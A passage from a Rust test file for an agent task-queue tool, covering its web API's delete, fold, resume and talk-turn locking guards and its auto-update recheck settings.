21377 mid.block(vec![root.id.clone()], None);
21378 q.put(&mut mid).unwrap();
21379 let mut leaf = mk("leaf");
21380 leaf.block(vec![mid.id.clone()], None);
21381 q.put(&mut leaf).unwrap();
21382
21383 let list = fx.get("/api/queue").await.json();
21384 let find = |id: &str| {
21385 list.as_array()
21386 .unwrap()
21387 .iter()
21388 .find(|v| v["id"] == id)
21389 .unwrap()
21390 .clone()
21391 };
21392 let leaf_view = find(&leaf.id);
21393 assert_eq!(
21394 leaf_view["waits_on"],
21395 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21396 );
21397 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21398 assert_eq!(
21399 find(&mid.id)["waits_on"],
21400 serde_json::json!([format!("{} (held)", root.short())])
21401 );
21402 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21403 }
21404
21405 #[tokio::test]
21406 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21407 let fx = Fixture::start().await;
21408 let q = fx.queue();
21409
21410 let mut t1 = Task::new(
21412 "Task 1".to_owned(),
21413 "Instruction 1".to_owned(),
21414 PathBuf::from("/repo"),
21415 Source::Human,
21416 );
21417 let run_id = "20260901-000000-r111";
21418 t1.runs.push(run_id.to_owned());
21419 write_run(&fx.runs(), run_id, RunStatus::Merged);
21420 q.put(&mut t1).expect("put t1");
21421
21422 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21424 assert_eq!(res.status, 204);
21425 assert!(res.body.is_empty(), "204 No Content has no body");
21426 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21427 assert!(
21428 fx.runs().join(run_id).exists(),
21429 "run directory must not be deleted when its task is deleted"
21430 );
21431
21432 let mut t2 = Task::new(
21434 "Task 2".to_owned(),
21435 "Instruction 2".to_owned(),
21436 PathBuf::from("/repo"),
21437 Source::Human,
21438 );
21439 t2.status = TaskStatus::Running;
21440 q.put(&mut t2).expect("put t2");
21441 let mut beat = crate::daemon::Status::new();
21442 beat.current = vec![crate::daemon::Current {
21443 worker: None,
21444 task: t2.id.clone(),
21445 run: "20260901-000000-r222".to_owned(),
21446 }];
21447 beat.updated_at = jiff::Timestamp::now();
21448 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21449 .expect("publish a heartbeat");
21450 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21451 assert_eq!(res.status, 409);
21452 assert!(
21453 res.json()["error"]
21454 .as_str()
21455 .unwrap()
21456 .contains("live daemon")
21457 );
21458 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21459
21460 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21466 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21467 .expect("leave a stale heartbeat");
21468 let mut t3 = Task::new(
21469 "Task 3".to_owned(),
21470 "Instruction 3".to_owned(),
21471 PathBuf::from("/repo"),
21472 Source::Human,
21473 );
21474 t3.status = TaskStatus::Running;
21475 q.put(&mut t3).expect("put t3");
21476 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21477 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21478 assert_eq!(res.status, 204);
21479 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21480 assert!(
21481 q.claim(&t3.id).is_ok(),
21482 "the stale lock went with it, so the id is claimable again"
21483 );
21484
21485 let res = fx.delete("/api/queue/nonexistent").await;
21487 assert_eq!(res.status, 404);
21488 }
21489
21490 #[tokio::test]
21491 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21492 let fx = Fixture::start().await;
21493 let runs = fx.runs();
21494
21495 let run_id = "20260901-000000-fold";
21497 let mut state = RunState::new(
21498 PathBuf::from("/repo"),
21499 "main".to_owned(),
21500 "abc".to_owned(),
21501 "instruction".to_owned(),
21502 Config::default(),
21503 );
21504 state.id = run_id.to_owned();
21505 state.status = RunStatus::Merged;
21506 state.candidates.push(crate::run::Candidate {
21507 index: 0,
21508 label: 'A',
21509 agent: "a".to_owned(),
21510 branch: "b".to_owned(),
21511 worktree: PathBuf::from("/w"),
21512 summary: String::new(),
21513 stat: String::new(),
21514 files: 1,
21515 commits: 1,
21516 empty: false,
21517 failed: None,
21518 verified_noop: None,
21519 duration_ms: 0,
21520 folded: true,
21521 });
21522 let dir = runs.join(run_id);
21523 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21524 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21525 .expect("write artifact");
21526 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21527 .expect("write run.json");
21528
21529 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21531 assert_eq!(res.status, 204);
21532 assert!(res.body.is_empty(), "204 has no body");
21533 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21534
21535 let run_running = "20260901-000000-rung";
21540 write_run(&runs, run_running, RunStatus::Prep);
21541 let mut beat = crate::daemon::Status::new();
21542 beat.current = vec![crate::daemon::Current {
21543 worker: None,
21544 task: "20260901-000000-task".to_owned(),
21545 run: run_running.to_owned(),
21546 }];
21547 beat.updated_at = jiff::Timestamp::now();
21548 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21549 .expect("publish a heartbeat");
21550 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21551 assert_eq!(res.status, 409);
21552 assert!(
21553 res.json()["error"]
21554 .as_str()
21555 .unwrap()
21556 .contains("live daemon"),
21557 "the refusal must say who is holding it"
21558 );
21559 assert!(
21560 runs.join(run_running).exists(),
21561 "a run in flight keeps its directory"
21562 );
21563
21564 let run_unfolded = "20260901-000000-unfd";
21566 let mut state2 = RunState::new(
21567 PathBuf::from("/repo"),
21568 "main".to_owned(),
21569 "abc".to_owned(),
21570 "instruction".to_owned(),
21571 Config::default(),
21572 );
21573 state2.id = run_unfolded.to_owned();
21574 state2.status = RunStatus::Ready;
21575 state2.candidates.push(crate::run::Candidate {
21576 index: 0,
21577 label: 'A',
21578 agent: "a".to_owned(),
21579 branch: "b".to_owned(),
21580 worktree: PathBuf::from("/w"),
21581 summary: String::new(),
21582 stat: String::new(),
21583 files: 1,
21584 commits: 1,
21585 empty: false,
21586 failed: None,
21587 verified_noop: None,
21588 duration_ms: 0,
21589 folded: false,
21590 });
21591 let dir2 = runs.join(run_unfolded);
21592 std::fs::create_dir_all(&dir2).expect("create dir2");
21593 std::fs::write(
21594 dir2.join("run.json"),
21595 serde_json::to_string(&state2).unwrap(),
21596 )
21597 .expect("write run.json");
21598
21599 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21600 assert_eq!(res.status, 409);
21601 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21602 assert!(dir2.exists(), "unfolded run directory is kept");
21603
21604 let res = fx.delete("/api/runs/nonexistent").await;
21606 assert_eq!(res.status, 404);
21607 }
21608
21609 #[test]
21618 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21619 let start = APP_JS
21620 .find("function renderStats() {")
21621 .expect("renderStats");
21622 let end = start
21623 + APP_JS[start..]
21624 .find("function statsTile(")
21625 .expect("the next top-level function");
21626 let body = &APP_JS[start..end];
21627
21628 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21629 let gate_end = gate_start
21630 + body[gate_start..]
21631 .find("}\n renderStatsQueue")
21632 .expect("the gate's own closing brace, right before the unconditional call");
21633 let gated = &body[gate_start..gate_end];
21634
21635 assert_eq!(
21636 body.matches("renderStatsQueue(").count(),
21637 1,
21638 "renderStats must call renderStatsQueue exactly once: {body}"
21639 );
21640 assert!(
21641 !gated.contains("renderStatsQueue"),
21642 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21643 run-derived panels on an empty run history - the queue panel has to render \
21644 regardless: {gated}"
21645 );
21646 }
21647
21648 #[test]
21649 fn web_ui_delete_contract_in_front_end() {
21650 assert!(APP_JS.contains("deleteRun:"));
21652 assert!(APP_JS.contains("deleteTask:"));
21653
21654 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21656 ..APP_JS.find("function renderRuns").unwrap()];
21657 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21658
21659 assert!(APP_JS.contains("renderRunDelete"));
21661 assert!(APP_JS.contains("runDeleteReason"));
21662 assert!(APP_JS.contains("magi fold"));
21663 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21664
21665 assert!(APP_JS.contains("cancel.focus"));
21667 assert!(APP_JS.contains("armedRunDelete"));
21668 assert!(APP_JS.contains("renderTaskDeleteBox"));
21669 assert!(APP_JS.contains("armed${cap(key)}"));
21670
21671 assert!(APP_JS.contains("disabled: status === \"running\""));
21673 }
21674
21675 #[test]
21695 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21696 let build = APP_JS
21697 .find("function createRunCard")
21698 .expect("createRunCard exists");
21699 let update = APP_JS
21700 .find("function updateRunCard")
21701 .expect("updateRunCard exists");
21702 let end = APP_JS
21703 .find("function renderRuns")
21704 .expect("renderRuns exists");
21705
21706 let builder = &APP_JS[build..update];
21708 let open = builder.find("refs = {").expect("createRunCard sets refs");
21709 let literal = &builder[open + "refs = {".len()..];
21710 let close = literal.find('}').expect("the refs literal is closed");
21711 let published: HashSet<&str> = literal[..close]
21712 .split(',')
21713 .filter_map(|entry| entry.split(':').next())
21715 .map(str::trim)
21716 .filter(|name| !name.is_empty())
21717 .collect();
21718 assert!(
21719 published.len() > 5,
21720 "the refs literal did not parse into names: {published:?}"
21721 );
21722
21723 let mut used: Vec<&str> = Vec::new();
21726 let updaters = &APP_JS[update..end];
21727 for (at, _) in updaters.match_indices("r.") {
21728 let before = updaters[..at].chars().next_back();
21731 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21732 continue;
21733 }
21734 let rest = &updaters[at + 2..];
21735 let len = rest
21736 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21737 .unwrap_or(rest.len());
21738 if len > 0 {
21739 used.push(&rest[..len]);
21740 }
21741 }
21742 assert!(
21743 used.len() > 5,
21744 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21745 );
21746
21747 let missing: Vec<&str> = used
21748 .iter()
21749 .copied()
21750 .filter(|name| !published.contains(name))
21751 .collect();
21752 assert!(
21753 missing.is_empty(),
21754 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21755 never put in `refs` - every card will throw and the list will \
21756 render empty under a count line that says otherwise. Published: \
21757 {published:?}"
21758 );
21759 }
21760
21761 #[tokio::test]
21762 async fn folding_from_the_phone_reports_what_it_removed() {
21763 let fx = Fixture::start().await;
21764 let runs = fx.runs();
21765
21766 let id = "20260901-000000-fold";
21770 write_run(&runs, id, RunStatus::Stalled);
21771 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21772 assert_eq!(res.status, 200);
21773 assert_eq!(res.json()["removed_count"], 0);
21774 assert_eq!(res.json()["run"], id);
21775 assert!(
21776 runs.join(id).exists(),
21777 "a fold keeps the run's record; only the worktrees go"
21778 );
21779 }
21780
21781 #[tokio::test]
21782 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21783 let fx = Fixture::start().await;
21784 let runs = fx.runs();
21785 let wt = fx.home.path().join("wt").join("magi").join("dead");
21786 let id = "20260901-000000-dead";
21787 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21788 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21789 std::fs::create_dir_all(&wt).expect("worktree dir");
21790
21791 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21792 assert_eq!(res.status, 200, "{}", res.body);
21793 assert!(
21794 res.json()["removed_count"].as_u64().unwrap() > 0,
21795 "the worktree this build could not read a state for still went"
21796 );
21797 assert!(
21798 !runs.join(id).exists(),
21799 "an unreadable run has no candidate list to fold selectively, so \
21800 the whole record goes - same as `magi fold` on the CLI"
21801 );
21802 }
21803
21804 #[tokio::test]
21805 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21806 let fx = Fixture::start().await;
21807 let runs = fx.runs();
21808 let wt = fx.home.path().join("wt").join("magi").join("gone");
21809 let id = "20260901-000000-gone";
21810 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21811 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21812 std::fs::create_dir_all(&wt).expect("worktree dir");
21813
21814 let res = fx.delete(&format!("/api/runs/{id}")).await;
21815 assert_eq!(res.status, 204, "{}", res.body);
21816 assert!(!runs.join(id).exists(), "the broken record is gone");
21817 assert!(!wt.exists(), "its worktree is gone too");
21818 }
21819
21820 #[tokio::test]
21821 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21822 let fx = Fixture::start().await;
21823 let runs = fx.runs();
21824 let id = "20260901-000000-live";
21825 write_run(&runs, id, RunStatus::Implementing);
21826
21827 let mut beat = crate::daemon::Status::new();
21828 beat.current = vec![crate::daemon::Current {
21829 worker: None,
21830 task: "20260901-000000-task".to_owned(),
21831 run: id.to_owned(),
21832 }];
21833 beat.updated_at = jiff::Timestamp::now();
21834 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21835 .expect("publish a heartbeat");
21836
21837 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21838 assert_eq!(res.status, 409);
21839 assert!(
21840 res.json()["error"]
21841 .as_str()
21842 .unwrap()
21843 .contains("live daemon"),
21844 "folding under a running agent would pull its worktree away"
21845 );
21846 }
21847
21848 #[tokio::test]
21849 async fn fold_merged_requires_a_pr_url() {
21850 let fx = Fixture::start().await;
21851 let runs = fx.runs();
21852 let id = "20260901-000000-nourl";
21853 write_run(&runs, id, RunStatus::Blocked);
21854
21855 let res = fx
21856 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21857 .await;
21858 assert_eq!(res.status, 400, "{}", res.body);
21859
21860 let blank = fx
21861 .post(
21862 &format!("/api/runs/{id}/fold-merged"),
21863 Some(r#"{"pr_url":" "}"#),
21864 )
21865 .await;
21866 assert_eq!(blank.status, 400, "{}", blank.body);
21867 }
21868
21869 #[tokio::test]
21870 async fn fold_merged_is_404_for_an_unknown_run() {
21871 let fx = Fixture::start().await;
21872 let res = fx
21873 .post(
21874 "/api/runs/nosuchrun/fold-merged",
21875 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21876 )
21877 .await;
21878 assert_eq!(res.status, 404, "{}", res.body);
21879 }
21880
21881 #[tokio::test]
21882 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21883 let fx = Fixture::start().await;
21884 let runs = fx.runs();
21885 let id = "20260901-000000-livemerge";
21886 write_run(&runs, id, RunStatus::Blocked);
21887
21888 let mut beat = crate::daemon::Status::new();
21889 beat.current = vec![crate::daemon::Current {
21890 worker: None,
21891 task: "20260901-000000-task".to_owned(),
21892 run: id.to_owned(),
21893 }];
21894 beat.updated_at = jiff::Timestamp::now();
21895 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21896 .expect("publish a heartbeat");
21897
21898 let res = fx
21899 .post(
21900 &format!("/api/runs/{id}/fold-merged"),
21901 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21902 )
21903 .await;
21904 assert_eq!(res.status, 409, "{}", res.body);
21905 assert!(
21906 res.json()["error"]
21907 .as_str()
21908 .unwrap()
21909 .contains("live daemon"),
21910 "correcting a run's merge underneath a running agent would race \
21911 whatever it is doing to the same `status`/`merge` fields"
21912 );
21913 }
21914
21915 #[tokio::test]
21920 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21921 let fx = Fixture::start().await;
21922 let runs = fx.runs();
21923 let id = "20260901-000000-unconfirmed";
21924 write_run(&runs, id, RunStatus::Blocked);
21925
21926 let res = fx
21927 .post(
21928 &format!("/api/runs/{id}/fold-merged"),
21929 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21930 )
21931 .await;
21932 assert_eq!(res.status, 400, "{}", res.body);
21933 assert_eq!(
21934 read_run(&runs, id).unwrap().status,
21935 RunStatus::Blocked,
21936 "a pull request that could not be confirmed merged must leave \
21937 the run exactly where it was"
21938 );
21939 }
21940
21941 #[tokio::test]
21942 async fn terminal_runs_cannot_be_resumed() {
21943 let fx = Fixture::start().await;
21944 let runs = fx.runs();
21945
21946 for (status, word) in [
21947 (RunStatus::Merged, "merged"),
21948 (RunStatus::Ready, "ready"),
21949 (RunStatus::Failed, "failed"),
21950 ] {
21951 let id = format!("20260901-000000-{}", &word[..4]);
21952 write_run(&runs, &id, status);
21953 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21954 assert_eq!(res.status, 409, "{word} must not be resumable");
21955 }
21956 }
21957
21958 #[tokio::test]
21959 async fn resume_is_refused_while_the_loop_is_running() {
21960 let fx = Fixture::start().await;
21961 let runs = fx.runs();
21962 let stalled = "20260901-000000-stal";
21963 write_run(&runs, stalled, RunStatus::Stalled);
21964
21965 let mut beat = crate::daemon::Status::new();
21969 beat.current = vec![crate::daemon::Current {
21970 worker: None,
21971 task: "20260901-000000-task".to_owned(),
21972 run: "20260901-000000-othr".to_owned(),
21973 }];
21974 beat.updated_at = jiff::Timestamp::now();
21975 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21976 .expect("publish a heartbeat");
21977
21978 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21979 assert_eq!(res.status, 409);
21980 let err = res.json()["error"].as_str().unwrap().to_owned();
21981 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21982 assert!(err.contains("stop it first"), "{err}");
21983 }
21984
21985 #[test]
21986 fn a_run_cannot_be_resumed_twice_at_once() {
21987 let home = TempDir::new().expect("temp home");
21988 let ui = Ui::new(
21989 Queue::at(home.path().join("queue")),
21990 Questions::at(home.path().join("questions")),
21991 Talks::at(home.path().join("talks")),
21992 home.path().join("runs"),
21993 home.path().to_path_buf(),
21994 PathBuf::from("/repo"),
21995 )
21996 .with_worktrees_root(home.path().join("wt"));
21997 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21998 let again = ui.begin_resume("20260901-000000-once");
21999 assert!(again.is_err(), "a second tap must not start a second graph");
22000 drop(first);
22001 assert!(
22002 ui.begin_resume("20260901-000000-once").is_ok(),
22003 "and the claim is released when the attempt ends"
22004 );
22005 }
22006
22007 #[test]
22008 fn talk_thinking_tracks_only_its_held_turn_claim() {
22009 let home = TempDir::new().expect("temp home");
22010 let ui = Ui::new(
22011 Queue::at(home.path().join("queue")),
22012 Questions::at(home.path().join("questions")),
22013 Talks::at(home.path().join("talks")),
22014 home.path().join("runs"),
22015 home.path().to_path_buf(),
22016 PathBuf::from("/repo"),
22017 )
22018 .with_worktrees_root(home.path().join("wt"));
22019 let id = "20260901-000000-once";
22020
22021 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22022 let turn = ui.begin_talk_turn(id).expect("claim turn");
22023 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22024 assert!(
22025 !ui.is_thinking("20260901-000000-other"),
22026 "one talk's turn does not make another talk busy"
22027 );
22028 drop(turn);
22029 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22030 }
22031
22032 #[test]
22033 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22034 let home = TempDir::new().expect("temp home");
22035 let talks = Talks::at(home.path().join("talks"));
22036 let ui = Ui::new(
22037 Queue::at(home.path().join("queue")),
22038 Questions::at(home.path().join("questions")),
22039 talks.clone(),
22040 home.path().join("runs"),
22041 home.path().to_path_buf(),
22042 PathBuf::from("/repo"),
22043 )
22044 .with_worktrees_root(home.path().join("wt"));
22045 let id = "20260901-000000-cross";
22046
22047 let other = Talks::at(home.path().join("talks"))
22048 .claim_turn(id)
22049 .expect("claim")
22050 .expect("the other process wins");
22051 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22052 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22053 assert!(
22054 matches!(
22055 ui.begin_talk_turn_unless_pending(id).expect("start"),
22056 TalkTurnStart::Foreign
22057 ),
22058 "a foreign holder is refused, not queued behind"
22059 );
22060 assert!(
22061 !ui.talk_turns.lock().unwrap().live.contains(id),
22062 "a refused claim leaves no in-process entry behind"
22063 );
22064 drop(other);
22065 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22066 assert!(talks.turn_held(id), "the web turn holds the lease");
22067 drop(turn);
22068 assert!(
22069 !talks.turn_held(id),
22070 "dropping the guard releases the lease"
22071 );
22072 }
22073
22074 fn consult_question(ui: &Ui) -> Question {
22075 let mut q = Question::new(
22076 "20260901-000000-consult".to_owned(),
22077 "implement".to_owned(),
22078 "impl-A".to_owned(),
22079 "Which backend?".to_owned(),
22080 String::new(),
22081 vec!["SQLite".to_owned(), "Redis".to_owned()],
22082 );
22083 ui.questions.put(&mut q).expect("question");
22084 q
22085 }
22086
22087 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22088 (
22089 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22090 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22091 )
22092 }
22093
22094 #[tokio::test]
22095 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22096 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22097 let q = consult_question(&ui);
22098 let talk = ui.talks.get(&id).expect("talk");
22099 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22100 let before = consult_snapshot(&ui, &q, &id);
22101 let cli_talks = Talks::at(ui.home.join("talks"));
22102 assert_eq!(
22103 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22104 .await
22105 .expect("CLI starter"),
22106 crate::consult::Started::Busy
22107 );
22108 assert_eq!(consult_snapshot(&ui, &q, &id), before);
22109 assert!(ui.is_thinking(&id));
22110 drop(guard);
22111 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22112 }
22113
22114 #[tokio::test]
22115 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22116 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22117 let q = consult_question(&ui);
22118 let talk = ui.talks.get(&id).expect("talk");
22119 let started = tmp.path().join("started");
22120 let release = tmp.path().join("release");
22121 let script = tmp.path().join("consult-agent.sh");
22122 std::fs::write(
22123 &script,
22124 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
22125 )
22126 .expect("script");
22127 let mut cfg = stub_config();
22128 cfg.agents[0].id = "mock".to_owned();
22129 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22130 cfg.agents[0].env = std::collections::BTreeMap::from([
22131 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22132 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22133 ]);
22134 let questions = ui.questions.clone();
22135 let cli_talks = Talks::at(ui.home.join("talks"));
22136 let cli_q = q.clone();
22137 let turn = tokio::spawn(async move {
22138 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22139 });
22140 let ready = tokio::time::timeout(Duration::from_secs(30), async {
22141 while !started.exists() {
22142 tokio::time::sleep(Duration::from_millis(10)).await;
22143 }
22144 })
22145 .await;
22146 let refusal = if ready.is_ok() {
22149 let before = consult_snapshot(&ui, &q, &id);
22150 let result = talk_say(
22151 State(Arc::clone(&ui)),
22152 Path(id.clone()),
22153 Ok(Json(NewTalkTurn {
22154 reply_to: None,
22155 text: "another message".to_owned(),
22156 attachments: Vec::new(),
22157 })),
22158 )
22159 .await;
22160 Some((result, before, consult_snapshot(&ui, &q, &id)))
22161 } else {
22162 None
22163 };
22164 std::fs::write(&release, "").expect("release agent");
22165 let done = turn.await.expect("join CLI turn");
22166 ready.expect("agent started before deadline");
22167 let (result, before, after) = refusal.expect("web request");
22168 let error = result.expect_err("web must refuse the CLI's turn");
22169 assert_eq!(error.status, StatusCode::CONFLICT);
22170 assert!(error.message.contains("a turn is already running"));
22171 assert_eq!(
22172 after, before,
22173 "refusal preserves question, draft and history"
22174 );
22175 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22176 let guard = ui
22177 .begin_talk_turn(&id)
22178 .expect("web claim")
22179 .expect("free again");
22180 drop(guard);
22181 }
22182
22183 #[test]
22184 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22185 let home = TempDir::new().expect("temp home");
22186 let talks = Talks::at(home.path().join("talks"));
22187 let ui = Ui::new(
22188 Queue::at(home.path().join("queue")),
22189 Questions::at(home.path().join("questions")),
22190 talks.clone(),
22191 home.path().join("runs"),
22192 home.path().to_path_buf(),
22193 PathBuf::from("/repo"),
22194 )
22195 .with_worktrees_root(home.path().join("wt"));
22196 let id = "20260901-000000-order";
22197 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22198 let slots = ui.talk_turns.lock().unwrap();
22200 let dropper = std::thread::spawn(move || drop(turn));
22201 let start = std::time::Instant::now();
22202 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22203 std::thread::sleep(Duration::from_millis(5));
22204 }
22205 assert!(!talks.turn_held(id), "the lease is released first");
22206 assert!(slots.live.contains(id), "the slot is still held meanwhile");
22207 drop(slots);
22208 dropper.join().expect("join");
22209 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22210 }
22211
22212 #[tokio::test]
22213 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22214 let fx = Fixture::start().await;
22215 let mut beat = crate::daemon::Status::new();
22216 beat.worker_protocol = None;
22217 beat.pid = 4321;
22218 beat.updated_at = jiff::Timestamp::now();
22219 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22220 .expect("publish a heartbeat");
22221
22222 let res = fx.post("/api/upgrade", None).await;
22223 assert_eq!(res.status, 409);
22224 }
22225
22226 #[test]
22233 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22234 assert!(!should_spawn_recheck(&crate::config::Update {
22235 mode: UpdateMode::Off,
22236 interval: None,
22237 auto_restart: false,
22238 }));
22239
22240 unsafe {
22243 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22244 }
22245 let killed = should_spawn_recheck(&crate::config::Update {
22246 mode: UpdateMode::Notify,
22247 interval: None,
22248 auto_restart: false,
22249 });
22250 unsafe {
22251 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22252 }
22253 assert!(
22254 !killed,
22255 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22256 one-time startup check"
22257 );
22258
22259 assert!(should_spawn_recheck(&crate::config::Update {
22260 mode: UpdateMode::Notify,
22261 interval: None,
22262 auto_restart: false,
22263 }));
22264 }
22265
22266 #[test]
22272 fn recheck_poll_period_tracks_a_short_configured_interval() {
22273 let short = crate::config::Update {
22274 mode: UpdateMode::Notify,
22275 interval: Some("1m".to_owned()),
22276 auto_restart: false,
22277 };
22278 let period = recheck_poll_period(&short);
22279 assert!(
22280 period <= Duration::from_secs(30),
22281 "a one-minute interval must wake the task far sooner than the \
22282 default ceiling, or the deck would not notice within the \
22283 interval the operator configured: got {period:?}"
22284 );
22285
22286 let default = crate::config::Update {
22287 mode: UpdateMode::Notify,
22288 interval: None,
22289 auto_restart: false,
22290 };
22291 assert_eq!(
22292 recheck_poll_period(&default),
22293 UPDATE_RECHECK_POLL_MAX,
22294 "the default day-long interval should poll at the (capped) \
22295 ceiling rather than needlessly often"
22296 );
22297 }
22298
22299 #[test]
22307 fn recheck_skips_the_network_before_the_interval_elapses() {
22308 let dir = TempDir::new().expect("temp dir");
22309 let path = dir.path().join("state.json");
22310 let state = kaishin::UpdateCheckState {
22311 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22312 last_known_latest: None,
22313 last_known_url: None,
22314 };
22315 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22316
22317 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22318 assert!(
22319 !update_recheck_due(&checker, None),
22320 "a check made moments ago must not be repeated before the \
22321 configured interval elapses"
22322 );
22323 }
22324
22325 #[test]
22331 fn recheck_defers_to_an_upgrade_already_in_flight() {
22332 let dir = TempDir::new().expect("temp dir");
22333 let path = dir.path().join("state.json");
22334 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22335 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22336
22337 assert!(
22338 !update_recheck_due(&checker, Some(&progress)),
22339 "a recheck must not run while an upgrade this deck started is \
22340 still moving"
22341 );
22342 }
22343
22344 #[tokio::test]
22345 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22346 unsafe {
22358 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22359 }
22360 let fx = Fixture::start().await;
22361 let res = fx.post("/api/upgrade", None).await;
22362 unsafe {
22363 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22364 }
22365 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22366 let body = res.json();
22367 assert!(body["to"].is_null(), "there was no release to move to");
22368 assert!(body["parked"].is_null(), "and nothing was parked");
22369 assert!(
22370 body["detail"]
22371 .as_str()
22372 .unwrap()
22373 .contains("disabled by MAGI_NO_AUTOUPDATE"),
22374 "{body:?}"
22375 );
22376 }
22377
22378 #[test]
22379 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
